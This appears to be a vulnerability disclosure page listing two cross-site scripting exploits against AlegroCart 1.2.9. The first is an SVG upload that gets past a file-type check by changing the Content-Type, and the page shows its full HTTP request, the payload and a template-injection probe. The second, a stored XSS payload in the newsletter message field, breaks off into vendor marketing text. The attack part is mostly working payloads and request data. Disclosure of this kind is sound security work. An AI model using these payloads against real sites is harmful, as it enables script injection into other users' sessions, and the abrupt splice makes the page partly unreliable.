# Exploit Title: XSS via SVG Image Upload - alegrocartv1.2.9
# Date: 04/2025
# Exploit Author: Andrey Stoykov
# Version: 1.2.9
# Tested on: Debian 12
# Blog: https://msecureltd.blogspot.com/
XSS via SVG Image Upload:
Steps to Reproduce:
1. Visit http://192.168.58.129/alegrocart/administrator/?controller=download
2. Upload SVG image file with the contents below
3. Intercept the POST request and change the Content-Type to "Content-Type:
image/jpg"
4. Then visit "http://192.168.58.129/alegrocart/download/xss.svg" to
trigger the XSS
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<input type="text" onkeyup="prompt('XSS Triggered!')"
placeholder="Type here..."/>
</body>
</foreignObject>
</svg>
// HTTP POST request
POST /alegrocart/administrator/?controller=download&action=insert HTTP/1.1
Host: 192.168.58.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0)
Gecko/20100101 Firefox/138.0
[...]
------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name="language[1][name]"
{{7*7}}
------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name="fileName"
xss.svg
------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name="download"; filename="xss.svg"
Content-Type: image/jpg
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<input type="text" onkeyup="prompt('XSS Triggered!')"
placeholder="Type here..."/>
</body>
</foreignObject>
</svg>
------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name="mask"
6760664742675684.svg
------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name="remaining"
1
------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name="79d45153379f999ff64e1198b05faae6"
586fdeeeaf42c0c557291be4d32afe11
------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc--
// HTTP Response
HTTP/1.1 302 Found
Date: Thu, 03 Apr 2025 20:42:59 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: PHP/5.6.40
Location:
http://192.168.58.129/alegrocart/administrator/?controller=download
Cache-Control: max-age=0, private, no-store, no-cache, must-revalidate
Expires: Thu, 03 Apr 2025 20:42:59 GMT
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
# Exploit Title: Stored XSS in "Message" Functionality - alegrocartv1.2.9
# Date: 04/2025
# Exploit Author: Andrey Stoykov
# Version: 1.2.9
# Tested on: Debian 12
# Blog: https://msecureltd.blogspot.com/
Stored XSS #1:
Steps to Reproduce:
1. Login as demonstrator account and visit "Customers" > "Newsletter"
2. In "Message" use the following XSS payload
<iframe srcdoc="<img src=x onerror=alert(document.domain)>"></iframe>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation